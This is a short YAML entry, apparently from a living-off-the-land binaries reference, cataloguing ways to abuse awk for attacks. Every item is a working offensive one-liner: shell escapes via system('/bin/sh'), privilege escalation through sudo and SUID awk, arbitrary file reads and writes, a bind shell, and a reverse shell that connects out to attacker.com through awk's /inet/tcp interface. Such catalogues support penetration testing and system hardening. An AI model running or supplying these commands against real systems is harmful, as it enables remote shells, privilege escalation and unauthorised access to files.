--- functions: shell: - code: awk 'BEGIN {system("/bin/sh")}' non-interactive-reverse-shell: - description: Run `nc -l -p 12345` on the attacker box to receive the shell. code: | RHOST=attacker.com RPORT=12345 awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN { s = "/inet/tcp/0/" RHOST "/" RPORT; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' non-interactive-bind-shell: - description: Run `nc target.com 12345` on the attacker box to connect to the shell. code: | LPORT=12345 awk -v LPORT=$LPORT 'BEGIN { s = "/inet/tcp/" LPORT "/0/0"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' file-write: - code: | LFILE=file_to_write awk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }' file-read: - code: | LFILE=file_to_read awk '//' "$LFILE" suid: - code: | LFILE=file_to_read ./awk '//' "$LFILE" sudo: - code: sudo awk 'BEGIN {system("/bin/sh")}' limited-suid: - code: ./awk 'BEGIN {system("/bin/sh")}' ---